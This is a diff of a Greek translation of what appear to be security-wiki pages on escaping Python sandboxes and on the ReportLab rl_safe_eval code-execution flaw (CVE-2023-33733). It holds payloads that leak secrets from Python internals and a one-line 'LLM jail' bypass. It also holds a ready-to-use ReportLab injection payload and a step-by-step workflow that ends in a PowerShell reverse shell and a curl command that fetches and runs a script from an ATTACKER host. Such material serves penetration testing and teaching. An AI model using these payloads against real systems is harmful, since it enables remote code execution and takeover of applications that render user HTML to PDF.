> Ελέγξτε επίσης την ακόλουθη σελίδα για gadgets που θα r**αποκαλύψουν ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα του Python**:
|
||||
> Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα **διαβάσουν ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα του Python**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
|
||||
### Payloads αποκάλυψης ευαίσθητων πληροφοριών
|
||||
### Αποκάλυψη Ευαίσθητων Πληροφοριών Payloads
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
@ -737,22 +737,22 @@ secret_variable = "clueless"
|
||||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||
str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
### Παράκαμψη LLM Jails
|
||||
|
||||
Από [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### Από το format στο RCE για φόρτωση βιβλιοθηκών
|
||||
### Από format σε RCE για φόρτωση βιβλιοθηκών
|
||||
|
||||
Σύμφωνα με το [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) είναι δυνατό να φορτωθούν αυθαίρετες βιβλιοθήκες από δίσκο εκμεταλλευόμενοι την ευπάθεια format string στο python.
|
||||
Σύμφωνα με το [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) είναι δυνατό να φορτωθούν αυθαίρετες βιβλιοθήκες από δίσκο εκμεταλλευόμενοι την format string vulnerability στο python.
|
||||
|
||||
Ως υπενθύμιση, κάθε φορά που εκτελείται μια ενέργεια στο python εκτελείται κάποια συνάρτηση. Για παράδειγμα `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**.
|
||||
Ως υπενθύμιση, κάθε φορά που πραγματοποιείται μια ενέργεια στο python κάποια συνάρτηση εκτελείται. Για παράδειγμα `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Έχεις περισσότερα τέτοια στην ενότητα [**Python execution without calls**](#python-execution-without-calls).
|
||||
Υπάρχουν κι άλλα τέτοια στην ενότητα [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
Μια ευπάθεια format string στο python δεν επιτρέπει την εκτέλεση συνάρτησης (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατό να προκύψει RCE όπως `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Ωστόσο, είναι δυνατό να χρησιμοποιηθεί `[]`. Επομένως, αν μια κοινή βιβλιοθήκη python έχει μέθοδο **`__getitem__`** ή **`__getattr__`** που εκτελεί αυθαίρετο κώδικα, είναι δυνατό να τις εκμεταλλευτείς για να αποκτήσεις RCE.
|
||||
Μια python format string vuln δεν επιτρέπει την εκτέλεση συναρτήσεων (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατό να αποκτήσουμε RCE όπως `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Ωστόσο, είναι δυνατό να χρησιμοποιήσουμε `[]`. Επομένως, αν μια κοινή βιβλιοθήκη python έχει μια μέθοδο **`__getitem__`** ή **`__getattr__`** που εκτελεί αυθαίρετο κώδικα, είναι δυνατό να τις καταχραστούμε για να αποκτήσουμε RCE.
|
||||
|
||||
Ψάχνοντας για ένα τέτοιο gadget στο python, το άρθρο προτείνει αυτή την [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Εκεί βρήκε αυτό το [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
Ψάχνοντας για ένα τέτοιο gadget στο python, το writeup προτείνει αυτή την [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Εκεί βρήκε αυτό [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -774,20 +774,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Αυτό το gadget επιτρέπει τη **φόρτωση μιας βιβλιοθήκης από το δίσκο**. Επομένως, απαιτείται με κάποιον τρόπο να **γράψετε ή ανεβάσετε τη βιβλιοθήκη που θα φορτωθεί**, σωστά μεταγλωττισμένη, στον διακομιστή-στόχο.
|
||||
Αυτό το gadget επιτρέπει να **load a library from disk**. Επομένως χρειάζεται με κάποιον τρόπο να **write or upload the library to load** σωστά compiled στον attacked server.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
Η πρόκληση στην πραγματικότητα εκμεταλλεύεται μια άλλη ευπάθεια στον διακομιστή που επιτρέπει τη δημιουργία αυθαίρετων αρχείων στον δίσκο του διακομιστή.
|
||||
|
||||
## Ανάλυση αντικειμένων Python
|
||||
## Ανάλυση Python αντικειμένων
|
||||
|
||||
> [!TIP]
|
||||
> Αν θέλετε να **μάθετε** για το **python bytecode** σε βάθος διαβάστε αυτή την **υπέροχη** ανάρτηση για το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> Αν θέλεις να **μάθεις** για το **python bytecode** σε βάθος, διάβασε αυτή την **υπέροχη** ανάρτηση σχετικά με το θέμα: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
Σε μερικά CTFs μπορεί να σας δοθεί το όνομα μιας **custom function όπου βρίσκεται το flag** και πρέπει να δείτε τα **εσωτερικά** της **συνάρτησης** για να το εξάγετε.
|
||||
Σε κάποιες CTFs μπορεί να σου δοθεί το όνομα της **custom function where the flag** και χρειάζεται να δεις τα **internals** της **function** για να την εξάγεις.
|
||||
|
||||
Αυτή είναι η συνάρτηση που πρέπει να εξετάσετε:
|
||||
Αυτή είναι η function που πρέπει να εξετάσεις:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -807,7 +807,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` and `func_globals` (Ίδιο) Αποκτά το global environment. Στο παράδειγμα μπορείτε να δείτε μερικά imported modules, μερικές global variables και το δηλωμένο περιεχόμενό τους:
|
||||
`__globals__` and `func_globals` (Same) Επιστρέφουν το global περιβάλλον. Στο παράδειγμα μπορείτε να δείτε κάποια εισαγόμενα modules, μερικές global μεταβλητές και το περιεχόμενό τους δηλωμένα:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -818,9 +818,9 @@ CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
[**See here more places to obtain globals**](#globals-and-locals)
|
||||
|
||||
### **Πρόσβαση στον κώδικα της συνάρτησης**
|
||||
### **Πρόσβαση στον function code**
|
||||
|
||||
**`__code__`** και `func_code`: Μπορείτε να **έχετε πρόσβαση** σε αυτή την **ιδιότητα** της συνάρτησης για να **αποκτήσετε το code object** της συνάρτησης.
|
||||
**`__code__`** και `func_code`: Μπορείτε να **αποκτήσετε πρόσβαση** σε αυτή την **ιδιότητα** της function για να **λάβετε το code object** της function.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -834,7 +834,7 @@ compile("print(5)", "", "single")
|
||||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### Απόκτηση Πληροφοριών Κώδικα
|
||||
### Λήψη πληροφοριών για τον κώδικα
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
@ -880,7 +880,7 @@ get_flag.__code__.co_freevars
|
||||
get_flag.__code__.co_code
|
||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||
```
|
||||
### **Αποσυναρμολόγηση μιας συνάρτησης**
|
||||
### **Disassembly μιας συνάρτησης**
|
||||
```python
|
||||
import dis
|
||||
dis.dis(get_flag)
|
||||
@ -908,7 +908,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Σημειώστε ότι **if you cannot import `dis` in the python sandbox** μπορείτε να αποκτήσετε το **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να το **disassemble** τοπικά. Δεν θα δείτε το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`), αλλά μπορείτε να τα μαντέψετε από (`get_flag.func_code.co_consts`) επειδή `LOAD_CONST` επίσης δείχνει την offset της μεταβλητής που φορτώνεται.
|
||||
Σημειώστε ότι **αν δεν μπορείτε να εισάγετε το `dis` στο python sandbox** μπορείτε να αποκτήσετε το **bytecode** της συνάρτησης (`get_flag.func_code.co_code`) και να το **αποσυναρμολογήσετε** τοπικά. Δεν θα δείτε το περιεχόμενο των μεταβλητών που φορτώνονται (`LOAD_CONST`) αλλά μπορείτε να τα μαντέψετε από (`get_flag.func_code.co_consts`) επειδή το `LOAD_CONST` επίσης δείχνει την μετατόπιση (offset) της μεταβλητής που φορτώνεται.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -930,10 +930,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
## Μεταγλώττιση Python
|
||||
## Compiling Python
|
||||
|
||||
Τώρα, ας φανταστούμε ότι με κάποιον τρόπο μπορείτε να **dump the information about a function that you cannot execute** αλλά **πρέπει** να την **εκτελέσετε**.\
|
||||
Όπως στο ακόλουθο παράδειγμα, μπορείτε να **can access the code object** της συνάρτησης αυτής, αλλά μόνο διαβάζοντας το disassemble **δεν ξέρετε πώς να υπολογίσετε το flag** (_φανταστείτε μια πιο πολύπλοκη `calc_flag` συνάρτηση_)
|
||||
Τώρα, ας φανταστούμε ότι με κάποιο τρόπο μπορείτε να **dump the information about a function that you cannot execute** αλλά **need** να την **execute** it.\
|
||||
Όπως στο παρακάτω παράδειγμα, μπορείτε να **can access the code object** της συνάρτησης αυτής, αλλά διαβάζοντας μόνο το disassemble δεν **don't know how to calculate the flag** (_imagine a more complex `calc_flag` function_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -948,7 +948,7 @@ return "Nope"
|
||||
```
|
||||
### Δημιουργία του code object
|
||||
|
||||
Πρώτα απ' όλα, πρέπει να γνωρίζουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα code object** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε την function leaked:
|
||||
Πρώτα απ' όλα, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα code object** ώστε να μπορούμε να δημιουργήσουμε ένα για να εκτελέσουμε την function leaked:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -976,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### Επαναδημιουργία ενός leaked function
|
||||
### Αναδημιουργία μιας leaked συνάρτησης
|
||||
|
||||
> [!WARNING]
|
||||
> Στο ακόλουθο παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για να επαναδημιουργήσουμε τη function απευθείας από το function code object. Σε ένα **real example**, όλες οι **τιμές** για να εκτελεστεί η συνάρτηση **`code_type`** είναι αυτά που **θα χρειαστεί να leak**.
|
||||
> Στο παρακάτω παράδειγμα θα πάρουμε απευθείας από το code object όλα τα δεδομένα που χρειάζονται για να αναδημιουργήσουμε τη συνάρτηση. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** που απαιτούνται για να εκτελέσετε τη συνάρτηση **`code_type`** είναι αυτές που **θα χρειαστεί να leak**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -990,12 +990,12 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
#ThisIsTheFlag
|
||||
```
|
||||
### Παράκαμψη Αμυνών
|
||||
### Παράκαμψη Προστασιών
|
||||
|
||||
Στα προηγούμενα παραδείγματα στην αρχή αυτού του άρθρου, μπορείτε να δείτε **πώς να εκτελείτε οποιονδήποτε python κώδικα χρησιμοποιώντας τη λειτουργία `compile`**. Αυτό είναι ενδιαφέρον γιατί μπορείτε να **εκτελέσετε ολόκληρα scripts** με βρόχους και τα πάντα σε ένα **one liner** (και θα μπορούσαμε να κάνουμε το ίδιο χρησιμοποιώντας **`exec`**).\
|
||||
Παρόλα αυτά, μερικές φορές μπορεί να είναι χρήσιμο να **δημιουργήσετε** ένα **compiled object** σε μια τοπική μηχανή και να το εκτελέσετε στη **CTF machine** (για παράδειγμα επειδή δεν έχουμε τη `compiled` function στο CTF).
|
||||
Στα προηγούμενα παραδείγματα στην αρχή αυτού του άρθρου, μπορείτε να δείτε **πώς να εκτελέσετε οποιοδήποτε python code χρησιμοποιώντας τη `compile` function**. Αυτό είναι ενδιαφέρον επειδή μπορείτε να **εκτελέσετε ολόκληρα scripts** με loops και τα πάντα σε ένα **one liner** (και θα μπορούσαμε να κάνουμε το ίδιο χρησιμοποιώντας **`exec`**).\
|
||||
Πάντως, μερικές φορές μπορεί να είναι χρήσιμο να **δημιουργήσετε** ένα **compiled object** σε μια τοπική μηχανή και να το εκτελέσετε στη **CTF machine** (για παράδειγμα επειδή δεν έχουμε τη `compiled` function στο CTF).
|
||||
|
||||
Για παράδειγμα, ας κάνουμε compile και να εκτελέσουμε χειροκίνητα μια συνάρτηση που διαβάζει _./poc.py_:
|
||||
Για παράδειγμα, ας κάνουμε compile και να εκτελέσουμε χειροκίνητα μια function που διαβάζει _./poc.py_:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1022,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Αν δεν μπορείτε να έχετε πρόσβαση στο `eval` ή στο `exec`, μπορείτε να δημιουργήσετε μια **κατάλληλη συνάρτηση**, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: _constructor not accessible in restricted mode_. Οπότε χρειάζεστε μια **συνάρτηση που δεν βρίσκεται στο περιορισμένο περιβάλλον για να καλέσει αυτή τη συνάρτηση.**
|
||||
Αν δεν μπορείτε να έχετε πρόσβαση σε `eval` ή `exec` μπορείτε να δημιουργήσετε μια **proper function**, αλλά η απευθείας κλήση της συνήθως θα αποτύχει με: _constructor not accessible in restricted mode_. Άρα χρειάζεστε μια **function not in the restricted environment to call this function.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1032,20 +1032,20 @@ f(42)
|
||||
```
|
||||
## Decompiling Compiled Python
|
||||
|
||||
Χρησιμοποιώντας εργαλεία όπως [**https://www.decompiler.com/**](https://www.decompiler.com) μπορεί κανείς να **decompile** δεδομένο compiled python κώδικα.
|
||||
Χρησιμοποιώντας εργαλεία όπως [**https://www.decompiler.com/**](https://www.decompiler.com) μπορεί κανείς να **decompile** παρεχόμενο compiled python code.
|
||||
|
||||
**Δείτε αυτό το tutorial**:
|
||||
**Δες αυτόν τον οδηγό**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## Misc Python
|
||||
## Διάφορα Python
|
||||
|
||||
### Assert
|
||||
|
||||
Όταν το Python εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει δηλώσεις asset και οποιονδήποτε κώδικα που εξαρτάται από την τιμή του **debug**.\
|
||||
Η Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο `-O` θα αφαιρέσει τις assert statements και οποιονδήποτε κώδικα που εξαρτάται από την τιμή του **debug**.\
|
||||
Επομένως, έλεγχοι όπως
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
@ -1057,7 +1057,7 @@ print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
θα παρακαμφθεί
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
||||
|
@ -2,51 +2,51 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Αυτή η σελίδα τεκμηριώνει ένα πρακτικό sandbox escape και RCE primitive στο ReportLab’s rl_safe_eval που χρησιμοποιείται από xhtml2pdf και άλλες διεργασίες δημιουργίας PDF όταν αποδίδουν HTML που ελέγχεται από χρήστη σε PDF.
|
||||
Αυτή η σελίδα τεκμηριώνει ένα πρακτικό sandbox escape και primitive RCE στο ReportLab’s rl_safe_eval που χρησιμοποιείται από xhtml2pdf και άλλες ροές δημιουργίας PDF όταν γίνεται render HTML ελεγχόμενο από χρήστη σε PDF.
|
||||
|
||||
CVE-2023-33733 επηρεάζει τις εκδόσεις ReportLab έως και 3.6.12. Σε ορισμένα περιβάλλοντα attribute (για παράδειγμα color), τιμές τυλιγμένες σε triple brackets [[[ ... ]]] αξιολογούνται server-side από το rl_safe_eval. Με το σχεδιασμό ενός payload που περιστρέφεται από ένα whitelisted builtin (pow) προς τα globals της Python function, ένας επιτιθέμενος μπορεί να φτάσει το module os και να εκτελέσει εντολές.
|
||||
CVE-2023-33733 επηρεάζει τις εκδόσεις ReportLab έως και την 3.6.12. Σε ορισμένα περιβάλλοντα attribute (για παράδειγμα color), τιμές τυλιγμένες σε τριπλά αγκύλες [[[ ... ]]] αξιολογούνται server-side από rl_safe_eval. Με τη δημιουργία ενός payload που περιστρέφεται από ένα whitelisted builtin (pow) προς τα globals της αντίστοιχης Python συνάρτησης, ένας επιτιθέμενος μπορεί να φτάσει στο module os και να εκτελέσει εντολές.
|
||||
|
||||
Key points
|
||||
- Trigger: inject [[[ ... ]]] into evaluated attributes such as <font color="..."> within markup parsed by ReportLab/xhtml2pdf.
|
||||
- Sandbox: rl_safe_eval αντικαθιστά επικίνδυνα builtins αλλά οι αξιολογημένες συναρτήσεις εξακολουθούν να εκθέτουν __globals__.
|
||||
- Bypass: κατασκευάστε μια προσωρινή κλάση Word για να παρακάμψετε τους ελέγχους ονομάτων του rl_safe_eval και να αποκτήσετε πρόσβαση στο string "__globals__" ενώ αποφεύγετε το φιλτράρισμα των μπλοκαρισμένων dunder.
|
||||
Βασικά σημεία
|
||||
- Trigger: εισαγωγή [[[ ... ]]] σε αξιολογούμενα attributes όπως <font color="..."> μέσα σε markup που κάνει parsing το ReportLab/xhtml2pdf.
|
||||
- Sandbox: rl_safe_eval αντικαθιστά επικίνδυνα builtins αλλά οι αξιολογούμενες συναρτήσεις εξακολουθούν να εκθέτουν __globals__.
|
||||
- Bypass: δημιουργία μιας προσωρινής κλάσης Word για να παρακαμφθεί ο έλεγχος ονομάτων του rl_safe_eval και πρόσβαση στο string "__globals__" αποφεύγοντας το φιλτράρισμα των dunder.
|
||||
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
|
||||
- Stability: Επιστρέψτε μια έγκυρη τιμή για το attribute μετά την εκτέλεση (για color, χρησιμοποιήστε και 'red').
|
||||
- Stability: Επιστροφή έγκυρης τιμής για το attribute μετά την εκτέλεση (για color, χρησιμοποιήστε and 'red').
|
||||
|
||||
When to test
|
||||
- Εφαρμογές που προσφέρουν εξαγωγή HTML-to-PDF (profiles, invoices, reports) και εμφανίζουν xhtml2pdf/ReportLab στα metadata του PDF ή σε σχόλια στην HTTP απάντηση.
|
||||
Πότε να δοκιμάσετε
|
||||
- Εφαρμογές που προσφέρουν HTML-to-PDF export (profiles, invoices, reports) και εμφανίζουν xhtml2pdf/ReportLab στα metadata του PDF ή σε σχόλια στην HTTP απόκριση.
|
||||
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
|
||||
- Η HTTP απάντηση για PDF συχνά ξεκινά με ένα σχόλιο generator του ReportLab
|
||||
- Η HTTP απόκριση για PDF συχνά ξεκινά με ένα ReportLab generator comment
|
||||
|
||||
How the sandbox bypass works
|
||||
- rl_safe_eval αφαιρεί ή αντικαθιστά πολλά builtins (getattr, type, pow, ...) και εφαρμόζει φιλτράρισμα ονομάτων για να αρνηθεί attributes που ξεκινούν με __ ή βρίσκονται σε denylist.
|
||||
- Ωστόσο, οι ασφαλείς συναρτήσεις ζουν σε ένα λεξικό globals προσβάσιμο ως func.__globals__.
|
||||
- Χρησιμοποιήστε type(type(1)) για να ανακτήσετε την πραγματική builtin type function (παρακάμπτοντας το wrapper του ReportLab), και στη συνέχεια ορίστε μια κλάση Word που κληρονομεί από str με μεταμορφωμένη συμπεριφορά συγκρίσεων έτσι ώστε:
|
||||
- .startswith('__') → πάντα False (παρακάμπτει τον έλεγχο name startswith('__'))
|
||||
- .__eq__ επιστρέφει False μόνο στην πρώτη σύγκριση (παρακάμπτει τους ελέγχους membership στην denylist) και True στη συνέχεια (ώστε να δουλέψει το Python getattr)
|
||||
- .__hash__ ισούται με hash(str(self))
|
||||
- Με αυτόν τον τρόπο getattr(pow, Word('__globals__')) επιστρέφει το globals dict της τυλιγμένης pow function, το οποίο περιλαμβάνει το εισαγμένο module os. Έπειτα: ['os'].system('<cmd>').
|
||||
Πώς λειτουργεί το bypass του sandbox
|
||||
- rl_safe_eval αφαιρεί ή αντικαθιστά πολλά builtins (getattr, type, pow, ...) και εφαρμόζει φιλτράρισμα ονομάτων για να απορρίψει attributes που ξεκινούν με __ ή που είναι σε denylist.
|
||||
- Ωστόσο, οι ασφαλείς συναρτήσεις ζουν σε ένα globals dictionary προσβάσιμο ως func.__globals__.
|
||||
- Χρησιμοποιήστε type(type(1)) για να ανακτήσετε την πραγματική builtin συνάρτηση type (παρακάμπτοντας το wrapper του ReportLab), στη συνέχεια ορίστε μια κλάση Word που κληρονομεί από str με μεταβλημένη συμπεριφορά σύγκρισης έτσι ώστε:
|
||||
- .startswith('__') → πάντα False (παρακάμπτει τον έλεγχο name startswith('__'))
|
||||
- .__eq__ επιστρέφει False μόνο στην πρώτη σύγκριση (παρακάμπτει τους ελέγχους membership στη denylist) και True στη συνέχεια (ώστε το Python getattr να λειτουργεί)
|
||||
- .__hash__ ισούται με hash(str(self))
|
||||
- Με αυτό, getattr(pow, Word('__globals__')) επιστρέφει το globals dict της τυλιγμένης συνάρτησης pow, το οποίο περιλαμβάνει το εισαγμένο module os. Έπειτα: ['os'].system('<cmd>').
|
||||
|
||||
Minimal exploitation pattern (attribute example)
|
||||
Τοποθετήστε το payload μέσα σε ένα αξιολογούμενο attribute και βεβαιωθείτε ότι επιστρέφει μια έγκυρη τιμή για το attribute μέσω boolean και 'red'.
|
||||
Ελάχιστο μοτίβο εκμετάλλευσης (παράδειγμα attribute)
|
||||
Τοποθετήστε το payload μέσα σε ένα αξιολογούμενο attribute και διασφαλίστε ότι επιστρέφει μια έγκυρη τιμή attribute μέσω boolean και 'red'.
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
|
||||
exploit
|
||||
</font></para>
|
||||
|
||||
- Η μορφή με list-comprehension επιτρέπει μια μονοκλειστή έκφραση αποδεκτή από rl_safe_eval.
|
||||
- Το τελικό and 'red' επιστρέφει ένα έγκυρο CSS color ώστε το rendering να μην σπάσει.
|
||||
- Αντικαταστήστε την εντολή όπως χρειάζεται· χρησιμοποιήστε ping για να επικυρώσετε την εκτέλεση με tcpdump.
|
||||
- Η μορφή με list-comprehension επιτρέπει μια ενιαία έκφραση αποδεκτή από rl_safe_eval.
|
||||
- Το τελικό and 'red' επιστρέφει ένα έγκυρο CSS color ώστε το rendering να μην σπάει.
|
||||
- Αντικαταστήστε την εντολή όπως απαιτείται· χρησιμοποιήστε ping για να επικυρώσετε την εκτέλεση με tcpdump.
|
||||
|
||||
Operational workflow
|
||||
1) Identify PDF generator
|
||||
- Ο PDF Producer εμφανίζει xhtml2pdf; η HTTP απάντηση περιέχει σχόλιο ReportLab.
|
||||
2) Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export.
|
||||
3) Verify execution with low-noise ICMP
|
||||
- Εκτέλεση: sudo tcpdump -ni <iface> icmp
|
||||
Επιχειρησιακή ροή
|
||||
1) Εντοπίστε τον generator του PDF
|
||||
- Ο PDF Producer δείχνει xhtml2pdf; η HTTP απόκριση περιέχει ReportLab comment.
|
||||
2) Βρείτε ένα input που αντανακλάται στο PDF (π.χ., profile bio/description) και ενεργοποιήστε export.
|
||||
3) Επιβεβαιώστε την εκτέλεση με low-noise ICMP
|
||||
- Run: sudo tcpdump -ni <iface> icmp
|
||||
- Payload: ... system('ping <your_ip>') ...
|
||||
- Τα Windows συχνά στέλνουν ακριβώς τέσσερα echo requests από προεπιλογή.
|
||||
4) Establish a shell
|
||||
- Τα Windows συχνά στέλνουν ακριβώς τέσσερα echo requests by default.
|
||||
4) Εγκαθίδρυση shell
|
||||
- Για Windows, μια αξιόπιστη two-stage προσέγγιση αποφεύγει προβλήματα quoting/encoding:
|
||||
- Stage 1 (download):
|
||||
|
||||
@ -56,23 +56,23 @@ Operational workflow
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- Για Linux στόχους, παρόμοιο two-stage με curl/wget είναι εφικτό:
|
||||
- Για Linux στόχους, παρόμοια two-stage με curl/wget είναι δυνατή:
|
||||
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
|
||||
|
||||
Notes and tips
|
||||
- Attribute contexts: το color είναι ένα γνωστό αξιολογούμενο attribute; άλλα attributes στο ReportLab markup μπορεί επίσης να αξιολογούν εκφράσεις. Αν μια θέση είναι sanitized, δοκιμάστε άλλες που αποδίδονται στη ροή του PDF (διαφορετικά πεδία, table styles, κ.λπ.).
|
||||
- Quoting: Κρατήστε τις εντολές συμπαγείς. Οι two-stage λήψεις μειώνουν δραστικά τα προβλήματα quoting/escaping.
|
||||
- Reliability: Αν οι εξαγωγές είναι cached ή queued, διαφοροποιήστε ελαφρώς το payload (π.χ., τυχαίο path ή query) για να αποφύγετε cache hits.
|
||||
Σημειώσεις και συμβουλές
|
||||
- Contexts attributes: το color είναι ένα γνωστό αξιολογούμενο attribute; κι άλλα attributes στο ReportLab markup μπορεί επίσης να αξιολογούν εκφράσεις. Αν μια τοποθεσία είναι sanitized, δοκιμάστε άλλες που αποδίδονται στη ροή του PDF (διαφορετικά πεδία, table styles, κ.λπ.).
|
||||
